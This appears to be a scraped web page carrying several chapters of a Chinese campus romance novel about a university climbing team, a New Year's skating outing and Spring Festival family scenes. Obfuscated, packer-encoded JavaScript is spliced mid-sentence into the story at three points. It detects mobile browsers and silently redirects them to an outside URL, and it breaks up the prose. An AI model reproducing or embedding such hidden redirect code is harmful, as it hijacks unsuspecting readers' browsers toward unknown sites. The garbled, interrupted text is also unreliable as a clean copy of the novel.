他出门跑了几圈,找到单杠拉了几组引体,重又回到自习室。 不知何时窗外飘起了细雪,在路灯的光影中连出点点线线来,隐约仿佛回到高中,在教室窗边奋笔疾书的岁月。 虽然只有短短几个月,但所处的环境已经截然不同。 李澍想:接受现实,在这儿你就是个普通人。有人比你更有天分,也有人比你更勤奋。除了一步一步脚踏实地去追赶,别无他法。 打开课本和习题册,心无旁骛钻研下去,反而又平静了许多。 年末岁尾,讲堂里跨年晚会如火如荼,室外也满是三五成群喜气洋洋的少年。岩壁下灯火通明,亮如白昼。音响里放着歌,旁边沸腾的锅里煮着饺子和汤圆。 有人在爬线,有人在比赛引体。有些围观的还捂着羽绒服,玩得开心的已经露出抓绒衫,还有火力壮的小伙子已经短袖T恤上场。 李澍架不住撺掇,和几个同年级的队员组了大一新生队,在众人的加油声中接力引体。 距离新年钟声敲响还有一个多小时,有男生出现在大门外,把黎晓唱喊了出去。大家不断探头,看见男生车筐里还端坐了一只毛绒兔子。她站得有些远,但身体姿态都写着尴尬二字。 祁飞吩咐另一个女生:“去喊晓唱回来吃饺子。” 不多时,她面红耳赤地跑回来,怀中还抱着大兔子。众人难免起哄,她单手抱着兔子,另一只手指过去:“你们一个个的哈,统统闭嘴。” 曾勇道:“人家送你这么个大兔子,我们好奇一下都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116227|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行?” 黎晓唱脸热:“不要又不好,他就要放咱们大门口,说什么也不带回去。” 老吴说:“摆设备间门口吧,看门。” “风吹日晒的,兔子又有什么错?”黎晓唱揪了揪兔子耳朵,“等我去广西的时候,带给村里的小朋友吧……” 又有人笑:“这小哥好像也挺能坚持的,看起来还挺清秀,晓唱你不考虑一下?” 曾勇说:“不行不行,看起来也太瘦弱了。晓唱直接做十个单杠大回环,让他见识见识。” 大家说:“唱姐威武!” 黎晓唱窘得摆手:“我也不能来十个大回环啊,换个话题好不好?队长你管管他们。” “又不是训练时间,我管什么?”祁飞也笑,“我们可以帮你参谋参谋,一起把关。” 黎晓唱又羞又气:“我真和他没关系啊!” 她暗忖:攀岩队堕落了,连有求于她的祁飞也敢于调侃了。还是小澍乖,做完引体就回来低头吃汤圆,也不像别人一样跟着傻笑。 吃过饺子,有人快乐地奔向冰面,绕着圈,牵手唱起歌来。 黎晓唱套上羽绒服,也跟在众人后跑了过去,到了湖边,发现李澍没有跟上。她回头,眼睛笑得弯弯的,向着他招手:“小澍,快来啊!” 他就踩在湖岸边缘的冰面上,踟蹰不前:“就这温度,白天还零上呢。在老家这天气我们都不上冰的,冻不结实。” 黎晓唱扭头,瞪大眼:“啊?真的?” 李澍点头:“我以前初中离江边不远,每年报纸上有出事的,老师都会拿来说。” 黎晓唱犹豫,扭头看了看拉手转圈圈的队友们:“那么多人都在呢。” 李澍说:“嗯,本来还有点支撑力,这么一踩,结构都破坏了吧。” 黎晓唱头皮一紧,进退两难,“不过,这个湖倒也不深,也就一米多。” 李澍看她试探地在冰面上蹭着脚、进退两难的样子,不禁轻声笑起来。 “不许笑啊!”黎晓唱手指向他点了点,“好像我没见过冰似的……雪山冰川我都见过好吧?” 李澍挑眉:“哦,是啊,那你见过跑冰排吗?” 黎晓唱摇头:“那是什么?” 李澍简单解释,春天时大块的融冰在江中挤挤挨挨,彼此碰撞,沿着江水如竹筏般顺流而下。为了避免冰块淤塞,有时还会用炸药开江,远远听到,以为是低闷的雷声自天边滚过。 黎晓唱听着他描述,夕阳下剔透的浮冰折射着金色光芒,映衬江面波光粼粼,不觉心驰神往。“以后有机会,我一定要去看看,你可要尽地主之谊,招待我吃吃喝喝啊。” 李澍笑道:“那还用说。” 黎晓唱继续蹭了蹭冰面,好像想透过冰层看穿它的厚度。“体教部和保卫部都会来测量,冰层厚度合适的话,过几天冰场就会开。”她说,“哦对了,你会滑冰吧?” 李澍谦虚道:“还可以。” 黎晓唱莞尔:“小澍可是一向谦虚谨慎。你说的‘还可以’,应该就是很不错。” “就,还行。”李澍回想了一下,有两年没碰冰刀,目前技术如何,他不是十分确定,邀约的话在嘴边打了个转,又落回肚子里。 这时人群中传来呼喊的声音:“晓唱,李澍,快过来呀。” “嗨,这么多人呢,真裂了也淹不死!”黎晓唱下定决心,就要跑过去和大家汇合。 “那个……”李澍喊住她,一颗心骤然提到嗓子眼。 黎晓唱回头:“啊?你不过去吗?” “啊,过去……”心跳太快了,好像已经要从堵住了他想说的话,李澍攥拳,努力将紧张感转移从胸膛中转移开来,话说得有些磕磕绊绊,“我是想说,到时候、一起……等冰场开了,大家一起,来滑冰啊。” “当然啊!”黎晓唱笑得眼睛眯起来,“也是队里传统,我们都盼着呢!” 李澍站在湖边,夜风凉凉的,似乎依旧吹不散脸上的热度。好在光线昏暗,没人看到他紧张局促的神色。 黎晓唱扯了扯他的衣袖:“快点,大家在等我们呢。” “哦。”他回过神来,跟在她身后,向着众人跑去。 这时,钟亭里传来新年的钟声,在夜空中悠扬回荡,校园中响起大家的欢呼声, “小澍,”她停下脚步,转过身,站在幽蓝的夜空下,身上披着皎皎月光,“新年快乐!” 那一瞬间,李澍忽然希望,时间就停留在这个新旧交错的午夜。这一霎那的光阴,如同薄薄的一纸书签,却似乎标注了人生中另一个章节的起始。 它稳稳地停留在那里,虽然当时不曾留心,但多年后每次在深夜里回忆,都会将思绪瞬间拉回到这个小小的时间点。 “新年快乐,黎晓唱。”此时此刻,他有了足够的勇气,可以大胆地喊出她的名字。 14. 第六章 (中) 期末考试平稳飞过,李澍自我感觉不错,大致估算了分数,还令人满意。而最近一个月他也时常找老师答疑,各类作业顺利完成,想来平时分也不会差。 攀岩队众人也基本结束了考试,果然在论坛上有人嚷着要去湖面冰场滑冰。黎晓唱自然积极表态,李澍也在众人后面跟帖,愉快地敲了个“走起”。 当天不仅黎晓唱来了,还带来了同寝室三位室友。 孟琳说:“你们队是也约好今天来吗?” 黎晓唱嘻嘻一笑:“凑巧凑巧,这不是大家都考完了么?” 祁飞说:“你们鞋号多少?我帮你们领冰鞋。” 孟琳和周亚岚互看一眼,了然地点点头。 黎晓唱连忙挽住身边的唐凝,转移话题:“来了就一起滑么,据说李澍滑得不错,让他指导一下。” 领了冰鞋回来,黎晓唱喜笑颜开,三两下飞快换上,扭着就站了起来。刚刚坐下时羽绒服堆得鼓鼓囊囊,也顾不得抚平,圆滚滚像一只鹅黄色的小熊。 李澍看着她架着双臂磕磕绊绊走了几步,忍不住喊住她:“鞋带系太松了。” 她眨眨眼:“啊,我以为鞋帮高,这样就够紧了。” 李澍说:“你脚踝这儿还在动,没有足够的支持。”他示意黎晓唱坐下,单膝半跪,拇指食指捏着她鞋帮两侧,略一用力,“至少,要系到这种程度。” “哦,这样,我说我怎么总是站不住。”黎晓唱恍然大悟,低下头重新摆弄。 面前的李澍耳朵红红的,她没看到,他已经把帽子上的护耳翻下来,又按了按。 他站在她面前有些手足无措,索性又坐下,拿自己的冰刀做演示:“我以前也没怎么穿过花刀,但脚腕这儿肯定不应该有晃动空间的。” 说罢起身,在冰场上走了一圈。天然场地并不平整,坑洼缝隙随处可见,他走得谨慎,有些懊恼没有提前两天来习惯一下冰场。 但黎晓唱十分捧场,报以热烈掌声:“看不出来,小澍你可以啊。” 李澍谦虚道:“我之前是速滑,也好几年没滑了,学校只有花刀,还挺不一样的。” “教我们足够了。”黎晓唱说,“来,讲讲重点。” 站在冰场角落,李澍大致讲了重心控制移动和练习方法,几个女生频频点头。其他队员都追逐玩闹去了,祁飞还陪在一旁耐心听着。 练习时黎晓唱仗着核心稳定、胆大心细,又冲到前面,李澍看她走得前后摆荡,担心她摔得狠,只能快步跟上。 黎晓唱回头看一眼,笑眯眯道:“对,和他们拉开距离。” 李澍回头,看周亚岚身边多了一个男生,应该是她男朋友;孟琳也识趣地和老乡打招呼聊天;就剩唐凝和祁飞落在后面,有一搭无一搭地说着话。 黎晓唱看来心情不错,在冰上反复演练,甚至摸到一些压步的门道。她信心爆棚,又让李澍演示如何倒滑。 李澍拗不过她的请求,倒着画了两个葫芦。就看黎晓唱若有所思,停下脚步,视线越过他的肩头,对他的解说也充耳不闻,眉头越拧越紧。 李澍回头,顺着她的目光看过去。 不远处有男生带女生滑冰,两个人牵着手,说说笑笑。女孩儿娇俏可人,男生看起来俊秀文雅,身姿挺拔,高领毛衣加修身风衣,虽然在冰场上不算实用,但衣襟迎风,看得出是力求营造风度翩翩的氛围感。 黎晓唱撇嘴,翻了个白眼,用李澍刚教过的要点评论一番,又总结道:“怎么什么人都来?滑得不怎么样,耍帅。” 说罢,甩了甩手,按照刚才的练习技巧,大步追了过去。奈何她刚练了两圈儿,远没有掌握平衡,踉跄几步便扑倒在地。“噌”的一声,李澍都担心她的裤子。 他连忙滑过去,扶起黎晓唱,坐在一旁湖岸边的石头上。 她揉着膝盖:“我穿得厚,没事。”目光依旧追随着长风衣的男生。 唐凝也滑过来:“晓唱你没事吧?” “不用管我。”黎晓唱摆手,“那个,你也……看到了?” “嗯。”唐凝垂下眼帘,神色有些落寞。 黎晓唱牵着她的手晃了晃,以示安慰,依旧忿忿不平,“我非要过去和他说两句话!不说不回北京吗?” 她讲出自己的计划: “我滑过去,和他打个招呼,说,‘唉哟,好久不见,这一定就是小倩吧?’ 女生肯定就变了脸色,说,‘谁是小倩?’ 我就说,‘哎呀,不好意思,几个月没见,是我认错人了,上次不是你?’” 她一边说笑,一边就要起身过去。 唐凝正色道:“不许去!” 黎晓唱撇嘴:“还给他留面子?他又不认识我,是吧?” 唐凝沉默不语。 黎晓唱连忙放软语气:“好好,我不去……” “我有点累,先歇一会儿。”唐凝语气也倦倦的,“你们先去滑吧。” 黎晓唱轻叹一声,无奈地看看祁飞。 他沉默片刻,应道:“好,我们先去滑两圈。” 滑开数米,黎晓唱仍是气鼓鼓的样子,她扯扯李澍衣袖,轻声说:“从那个男生旁边滑过去,好好滑,能滑多帅滑多帅,拿出你的气势来!” 她气鼓鼓的模样有些好笑,李澍拉低帽檐,轻声一笑:“尽力。” 他甩开步子,每一步滑行既长且稳,虽然不会什么花式动作,但行云流水的身姿在一众初学者当中依旧十分惹眼。 就在风衣男生给女生示范时,他近距离“嗖”地超了过去,卷起些微清风。旁边几个人啧啧称赞:“这才是真正的滑行啊。” 风衣男生也开始倒滑,牵着学步向前的女孩,却没注意身后谁家的小朋友也在踉踉跄跄走着。 眼看就要撞上,李澍第二圈已经过来。他抢在前面,蹲低身体,扶着小朋友肩膀将她稳稳推开。 身侧难免被风衣男生撞了一下。但李澍站得稳,脚尖点冰,顺势向前荡了一步,反而让男生失了重心,差点就坐在冰面上。 李澍眼疾手快,回身捞了一把男生,架着腋下将他扶起,淡然道:“想要倒滑,就得记得,甩头看一眼身后。” 黎晓唱跟在后面,看戏看得十分愉快。看李澍滑回来,做出鼓掌的姿势,开心地迎过来。只顾着得意,差点把自己也绊了个跟头。 李澍忙垫了两步,伸手扶住她。心跳一时有些快,虽然隔了两个人的手套,似乎依旧能触碰到手指尖传来的细微心跳。 她只是笑,在他肩头打了一拳:“小伙子不赖呀。” 手劲儿还是那么大。 回到换鞋的地方,看唐凝依旧眼眶发红。 她说:“鞋子不大合适,有点磨脚,我先回去了。”鞋带系得紧,手指冻得不听话,几下都没勾开。 祁飞默默蹲下,帮她解开冰鞋带;看她换好鞋,又抢着拿起冰鞋,还把自己的围巾给她带上,说道:“今天降温,你出门穿少了。” 唐凝没反驳,安静地跟着他。两个人并肩走出冰场。风衣男生也看到她,愣了片刻,似乎在想是否要打招呼。然而她脚步不停,再没有回身看一眼。 李澍有些愣,不知是否要跟上。黎晓唱耸了耸肩膀,叹一声:“让他们先回去吧,咱们再滑一会儿。” 一时无语。 李澍想找个话题:“唐凝师姐,就是你说的学霸室友吧?” “是啊,而且人美心善,有求必应,我都不好意思总让她给我讲题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116228|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 李澍心想:那我呢? 黎晓唱继续说:“你是不是觉得我有时候挺会讲道理的?” 李澍忍不住笑:“有吗?有几次吧。”心想:你的冷笑话更让人印象深刻。 “好多都是凝凝说过的,我觉得很对,就记住了。”黎晓唱望着她离开的方向,“她以前也是攀岩队的,悟性很高的。后来学业太重,就退出了。只是,可惜了……”又回头看了看风衣男的方向,不屑地“哼”了一声。 她整理心情,摆了摆手,“不多说了,年纪轻轻,好像多少恩怨纠葛似的,专心攀岩哈!”转头又来夸奖李澍,“真的,你滑得也太棒了!” “我学过,不过是速滑。” “短道吗?还挺刺激的!”黎晓唱睁圆眼,“你们那儿是不是大家都会滑冰滑雪啊?” “那是小学了,开始也没分短道大道。”李澍说,“滑雪也是这些年兴起的,不过江上还有冰帆、冰爬犁、冰滑梯。” “啊呀,可惜这个寒假计划排满了。”黎晓唱面露遗憾,“以后一定得去!” 说话之间,看到祁飞孤身一人回来,略显低落。 黎晓唱迎上去,问:“怎样?” “我说请她吃东西,她说不用了。” 黎晓唱哂道:“你怎么就会请人吃东西?” 祁飞:“那我应该做什么?” 黎晓唱语塞:“我怎么知道,我又没追过女生……好像是应该,先吃点好吃的。” 她叹了口气,将羽绒服扯了扯:“唉,少年少女们啊,为什么这么复杂呢?还是我去吧。” 回到寝室,唐凝并没回来。黎晓唱又跑去实验室,也没看到她,正要出去,看到一个师兄,说刚见她进了图书馆。 黎晓唱赶过去,楼上楼下转了一圈,在影音室的角落,看见窝在椅子中的她。 这时间没什么其他人,黎晓唱拉了椅子坐下,和她肩并肩。看起来似乎是个喜剧,还有不少熟面孔,总比唐凝自己憋在寝室里看文艺片好。 黎晓唱问:“在看什么?” 唐凝推起耳机:“He’sjustnotthatintoyou(其实他没那么喜欢你)。” 黎晓唱平素看美剧不多,不懂into这个用法,一愣,也用英语问:“Whatdoesitmean?” 唐凝把耳机递过来:“我不看了,你要看吗?” 黎晓唱摇头:“别管我,你看你的,我不说话了。” “不是,是没有看的意义。”她起身,“已经过去好久了,道理又不是不懂……” “我刚才……”黎晓唱轻声道,“是不是多事了?但他怎么能这样,当初口口声声和你说,自己毕业了,要去南方发展,不能和你在一起。这又特意回来……滑冰?……真是,虚伪!” “我知道,你是替我生气。”唐凝垂眸,“我不想让他觉得,我还在乎他。” “他应该不记得我吧,之前没怎么和咱们寝室的人接触过……现在看,也是找借口躲着。” “我是感慨自己,有些矫情。”唐凝勉强笑了笑,“火车上聊了一天,就以为遇到了soulmate……就当上了一课吧。” “那时候你大一,他大四,怎么防得住他老奸巨猾、刻意讨好?防火防盗防师兄,有一定道理。”黎晓唱安慰道,“这种人,不值得。” “是啊,什么道理都懂,也知道这个人不值得……”唐凝有些哽咽,眼眶湿润,“可是……” 黎晓唱也不再说话,只是默默地挽起唐凝的手臂。午后的阳光照进来,照在身上暖暖的。在一片光芒里,满目明光,但视线中又一片茫然。 黎晓唱想:我以后,可不要这么复杂的感情啊。 15. 第六章 (下) 寒假伊始,黎晓唱和同伴们去京郊山区里攀冰两天。途径河谷,在峭立的山岩之间,蜿蜒的河流已经冰封。她看到有人在冰面徒步,忍不住问:“冻结实了吗?不会掉下去吧?” 队友笑她:“你又不是没走过,怎么忽然胆小了?” 黎晓唱轻哂:“还不是李澍?和我讲什么冬天从松花江的冰缝掉下去,开春可能就到了俄罗斯……” 说罢自己也笑了,眼前一条小河,和他所讲的浩荡长河还是不同。 她暗想,可惜李澍早订票了,要不然可以来看看山谷里的冰瀑。山里也比城里冷很多,这个河道上大概也可以放心滑冰了。 她转念又想,不过这些也许对李澍来说没什么吸引力;毕竟,他家乡有那么宽阔的一条江,现在千里冰封,那多气派。 李澍回家后也没有完全放松下来,他还记得黎晓唱提过的几个模型,离京前从图书馆借了几本参考资料,每天翻翻。知识链环环相扣,少不了要再去钻研一些背景知识。 此外在亲友介绍下,又接了两份高中生家教,算着等开学再找点儿兼职,能添一台电脑。 有一个学生所在的小区离江边不远。李澍很愿意在课后沿着江畔公园走上十几分钟,去稍远一些的公交车站。寒冬里朔风扑面,戴好帽子,拉高围巾,在防寒衣物的物理加持下,有一种自我小空间里的安然温暖,反而觉得凛冽的江风带着别处所没有的亲切感。 他知道黎晓唱和几个老队员去了冬训,不过回家的车票是学期中就预定好的学生票,不能改期,所以也没能参与体验。 在登山协会的版面上,他看到大家先去了京郊山中攀冰。不过黎晓唱还要参加野外实习,没停留两天便和同学们奔赴广西。她当然不忘绕个弯去趟阳朔,约了当地朋友去攀岩。照片上她或在岩壁上攀援腾挪,或在路边摊捧着一大碗米粉,快乐得不得了。 李澍由衷羡慕,暗自决定,春季学期里也要跟上队伍,多去野攀。 除夕那天,一大家子人去爷爷家聚餐。李澍的爸爸李东民是家宴的主厨,张罗了一桌子好菜。但是他不喝酒,准确地说,是开出租后担心喝酒误事,渐渐就戒了。 别人劝酒,他就说:“有一个腰疼的毛病就够了,烟酒就算了,一会儿还想出去跑一圈呢。” 李澍吃得快,也不怎么喝酒。众人还在餐桌上聊天,他便先在小房间里躲清静。拜年的短信不断涌入,和每年一样,李澍的回复都简洁无趣:“谢谢,也祝你(您)新春愉快,万事如意!” 通讯录里,黎晓唱的名字在视野中滑过。李澍犹豫,要不要主动给她发一条拜年的信息,毕竟——上学期师姐很照顾自己,于情于理,辞旧迎新时总要表示谢意,才是最基础的礼貌。 他给自己想了足够多的理由。 但应该怎么写呢?自然不能就那么一行字,推销广告都比它诚心。又不能太俗气,也不能太浮夸,要真诚,还得有点个人特色…… 李澍翻阅短信历史,想在别人发过来的信息里寻找灵感。 过了一会儿,堂弟过来喊他:“哥,来打牌啊,三缺一。” 那边两个堂姐笑:“大过年的玩个乐呵,拉你充个人头,可不许记牌啊!” 李澍“哦”地应了一声,短信翻了一半,脑子还没从各种虎跃龙腾、恭喜发财里拔-出来。 大姐嗔道:“哦了也是白哦,他说不背,那大脑都是自动运算。” 二姐嗑着瓜子,在门边探身望了一眼:“忙啥呢?捧个手机……给女同学发短信呢?” 一瞬间,李澍觉得脸上发烧——这冬天的集中供暖真是太热了,毛衣都有点扎脖子了,回答得有些语无伦次:“不是……也不是……就男生女生、老师同学都有。” 二姐嘻嘻一笑:“我们小澍也是大学生了,正常。” 大姐耳朵尖,也挤过来,眼睛发亮:“呀,小澍认识新的女同学啦?还是以前的老同学?” 他把手机胡乱塞在口袋里,觉得毛衣领子更扎了,“都说了,什么同学都有。” 两个姐姐互相看一眼,心领神会地点点头。 二姐凑过来,盯着他左看右看:“小澍你也上大学了,得好好捯持捯持自己。” 大姐点头:“咱弟也挺精神的,寸头没关系,检验颜值。不过……”她伸手抬了抬李澍的下巴,“你这小胡子,几个意思?” 李澍捂住:“不是说越刮下巴越青?太愣了。” 大姐笑:“就你这几根,不会!” 李澍继续捂住:“不要不要。” 二姐回身拿了柜子上的镜子:“你自己照照,好看吗?” 他之前照镜子不多,也没想过这个问题。 然而两个姐姐都比他大四五岁,时尚靓丽,显然在穿衣打扮方面,她们的段数要高得多。这一点李澍没得怀疑,但他也不想众目睽睽下被两个姐姐品头论足。 更不想被她们拉去刮胡子。 因为小叔听到了她们的讨论,很开心地应了一句:“有一套新的刮胡刀,前两天买东西赠的,就在镜柜里。” 李澍爸妈也没反对,大家都不知道喝了多少啤酒白酒,每个人脸都红扑扑的,笑呵呵等着看热闹。 李澍拧着身体,不情不愿被姐姐们推到卫生间水池前,挣扎道:“过了年再说吧。” “打铁趁热,要不发短信问问你的女同学?”她俩叽喳笑着,“哎,没有剃须膏,打点香皂吧” 李澍努力维护最后的尊严:“让我自己来!” 他举着剃刀,有些犹豫,“之后会不会长出来更难看?” 姐姐们笑,你一言我一语: “那你就继续刮啊,为啥要等再长长?” “你是不会用吗?” “安全剃刀,不会流血的。” “要不,你拿腿毛先试试?” 李澍举着剃刀,看着镜子中乱七八糟抹着肥皂泡的下巴,有些紧张,又莫名有些希冀。他努力躲避两个姐姐唯恐天下不乱的神色:“你们别盯着看了,再看我不刮了。” 两个姐姐嬉笑着回到客厅。电视里传来苏联老歌《山楂树》的歌声。 “轻风吹拂不停,在茂密的山楂树下, 吹乱了青年镟工和锻工的头发。 …… 他们谁更适合于我的心愿, 我却没法分辨我终日不安。” 堂姐喊着李澍的父亲李东民:“三叔,你的歌。” 大伯父应道:“其实是我们那时候更流行啊。” 李东民笑:“那我之前在厂里,曾经是青年镟工啊。” 歌声继续唱:“他俩勇敢和可爱呀,全都一个样,亲爱的山楂树呀,要请你帮个忙。” 二伯母说:“那还用问,我们东民这个镟工更可爱。” 在众人的笑声中,李澍默默地刮着胡子,姐姐们时不时观望一下,发表一些评论。 “这多好啊,精神利索。” “回头你那个大衣,别把扣子一直扣到脖子,我教你……” 镜中的自己,有点陌生,些许别扭,也的确看起来清爽了……不过看起来,好像显得更小了…… 不知道这样出现是否合适,还是应该回去前把胡子再留起来。思前想后,连拜年短信都没有发。 午夜时吃过饺子,烟花鞭炮的烟云还没散去,李东民说要出车再跑几圈。 大家劝他:“大过年的,别跑了。” 他笑:“就跑一个多小时,都是从老人家出来回自己家的,一单接一单。再说了,那么多人往家走,大冷天的不好打车。” 父亲的鬓角已经斑白。李澍拿起大衣:“我陪你一起去吧。” 李东民摆手:“大过年的,都是一家一家的,能有啥事儿?你去我还少拉一个人!” 李澍坚持:“一家三口,后排挤挤正好。” 母亲赵春萍支持:“一起去行。提醒你爸别打瞌睡。” “嗐,刚才睡了一会儿,哪能啊。” 寒冬的路面上偶有冰壳,但老爹开得极稳,没客人时还不忘和儿子传授几句驾驶心得。 送了一家人,正好停在李澍童年练习滑冰的运动场附近,不过场地早已重新平整,变成了街心花园。 “也可惜了,以前我们小时候都在这儿滑冰,不过肯定没你滑得好。”李东民感慨,“那时候你大冬天都坚持天天来,我就觉得,这孩子,不管以后学习咋样,就冲这股子韧劲儿,也错不了。” 李澍想起自己初入大学的散漫迷茫,赧然道:“爸,我不会让你和妈失望的。” 李东民失笑:“别人那是相当羡慕我和你妈。你都考全省前十了,我们还有啥可失望的?” 那些惶恐和不如意,显然是不能对家人提起的。 不过也有一个人,理解他,给他鼓励,李澍想起来,心中又觉得温暖安宁起来。 “不过啊,你现在没有小时候活泼。”李东民说,“虽然以前话也不多吧,但淘气啊,精力太旺盛了,我才把你送到哥们那儿学滑冰。现在也考上大学了,别给自己那么大压力哈。” 李澍点头:“我现在也跑步、攀岩。” “上高得注意点安全,有绳子不?” “有。” “听你傅伯伯说,上大学了需要买台好电脑。过两天电子城开门了,去挑一个。” “暂时不用,学校有。而且北京那边更便宜,中关村么,没准还有校园优惠价。” 李澍想,这回真的是新的一年了,真的要好好学习,好好攀岩,还得好好找个兼职,买台新电脑。 初三那天,高中同学聚会。众人看到李澍时眼前一亮:“咦,上大学后变精神了!” 有人眼尖:“胡子刮了!” “还有,更挺拔了。” 伙伴过来拍他肩膀:“结实了。” 有人八卦:“小围巾也不错,打扮得这么帅气,有女朋友了?” 李澍忙道:“我姐送的。” 班主任也说:“都大学了,可以观察观察。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116229|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有男生起哄:“你们女生谁想去北京玩来着,让李澍招待一下。” 李澍自然面红耳赤。 说起大学的生活和课业,他只说还好,也需要适应。同学们挥手:“嘁,你就谦虚吧,到了哪儿都是学霸。” 大学第一学期浑浑噩噩,曾经担心是否会被退学,这些纠结的想法李澍自然不好对众人提起。但他想,或许大家同学们都曾有相似的迷茫。不过,就像黎晓唱说的,“其实,我们也没有那么差。” 在喧嚣的饭店里想起她的话,不禁莞尔。 不知何时飘起雪来,纷纷扬扬。李澍坐在回家的公交车上,这才发了条信息给黎晓唱:“我们这儿下雪了,还挺大。” 黎晓唱回得飞快:“真的呀,好想看雪!” “瑞雪兆丰年……”李澍打了几行补祝新年快乐的话,觉得太尴尬了,又一一删掉。 故作轻松写了一句:“来吧,随时欢迎。但你过两天还要再去广西吧?” “是啊,继续跟项目,后天的车票。” “嗯,一路平安。”李澍写道,又加了一句,“去了好好和猴子玩……” 觉得好像有些随意油滑,又把后半句删了重写:“有机会的话,我也想去看看,附近还可以攀岩吧?” “来吧,随时欢迎啊。”黎晓唱将他的话又回了过来,还打上笑脸,“我们这儿经常有其他院系的同学来实习交流。” 李澍:“嗯,好啊,下次规划起来!” 黎晓唱陷在沙发里,刚刚电视在播当地新闻,和《新闻联播》一样,是家中多少年雷打不动的必看节目。 新闻中正在播报某处公路扩建改造,山体被违规破坏,环境影响评估报告公布时间存疑。 黎晓唱抬眼,评论了一句:“这种环评好多都是做做样子,为了尽早开工。”她指了指电视上的画面,“这里山体这么破碎,本来也不适合修路。” 老爸黎振军应道:“环评弄虚作假肯定是要坚决打击的,但施工前认真勘测,充分考虑地形地貌,可以减轻对环境的不利影响。” 黎晓唱撇嘴:“但有多少工程论证,会把生态影响作为高优先级?” 黎振军道:“当然是综合考虑,生态影响不是唯一因素。” “我也没说是唯一因素,”黎晓唱道,“但也不能只看眼前。” 黎振军蹙眉:“什么是眼前?利好地区发展和促进沟通的工程,怎么就是眼前了?你去深山里看看当地人的生活,才能说什么是‘眼前’。” “我当然看过啊。”黎晓唱道,“我一去去几个月呢。” 妈妈郭丽虹制止父女二人:“大过年的,别吵别吵。” 二人异口同声:“没吵,讨论一下。” 郭丽虹把黎晓唱拉到厨房,塞给她一个柚子:“你爸多少年就在山里修路,一心一意,为国为民,大过节的,你不乖点?” “那是,还侠之大者呢。”黎晓唱边剥边笑,“不过现在发展阶段不一样,我爸那也是多少年前的老经验了。” 郭丽虹又说丈夫:“姑娘回来待不了几天,你俩开开心心嘻嘻哈哈不好吗?怎么说到这儿就顶牛了呢?她喜欢这个专业,你又不是不知道。” 黎振军道:“我也没反对她学,我还很支持呢!但我说的有错么?她不能只看事情的一面。” 黎晓唱说刚才电视新闻中的例子:“我说的是偷挖山石这种。” 黎振军道:“那和正规上马的项目能一样么?” 郭丽虹挥手:“都别吵了,吃水果!” 她转进厨房,和黎晓唱说:“剥好了给你爸端过去。”又无奈道,“以前顶多就是疯玩被你爸训,这两年凑一起怎么还抬杠呢?” 黎晓唱耸肩:“我的青春叛逆期滞后吧?” 郭丽虹笑:“那你这青春期有点晚。” 黎晓唱也不是特意和父亲顶撞,是正好在群里看同学发来其他地区违规施工的负面消息,正跟着怄气。这时平复心情,还是乖乖端了水果去客厅。 桌上手机一亮,是李澍发来的消息。 黎晓唱点开,嘴角一翘,鼻子中却“哼”了一声。 她也没有祝大家新年快乐的习惯,也并不是很在意这些套话,但如果别人发来用心的个性化祝福,她也会认真思考回复。 然而,印象中,李澍没有发。哦不,不是印象中,是她很确定,李澍没有发。 因为她收到了其他新生队员的拜年短信,还鼓励人家新的一年努力登攀;但这么一句有意义的话,却没机会发给受教最多的李澍。 这徒弟,也太不尊师重道了。臭小子回到家就和消失了似的,不知道和同学聚会还是打游戏,亏她去走冰的时候还想到了冰雪覆盖的旷野。 不过看到下雪,他仍记得和自己分享一下,还算有良心。宽宏大量的黎晓唱想了两秒钟,就决定不和小师弟计较。 他还算有点心,记得她春节后不久又要去广西。看在这份上,下次她可以考虑一下,带他去野外看看。 16. 第七章 小园春浅 开学伊始,李澍按部就班开启新学期,回到校园,选课、购置教材。然而黎晓唱却没有如期归来。岩壁下听别的队友大概提了一句,说她们还在广西实习,似乎是还有一些数据要收集处理,大概过两周才能回京。 大一下学期的基础课依旧占据了课表的大部分时间,李澍在公选课中看到《保护生物学》的信息,但和他专业上机课时间恰好冲突,而且学院教务也强调,不支持本科新生大一时选修校级公选课,于是只能作罢。 冬尽春来,湖冰消融,大地依旧灰黄一片。无论单杠还是岩点,摸起来依旧透着凉意,在阳光最好的正午时分,攀岩队众人集中在岩壁下进行恢复训练。也有人留心到李澍刮了胡子,在他肩上拍一下:“哟,刮了?” 他还是有些别扭,下意识想要捂着下巴,“哦”地应一声。 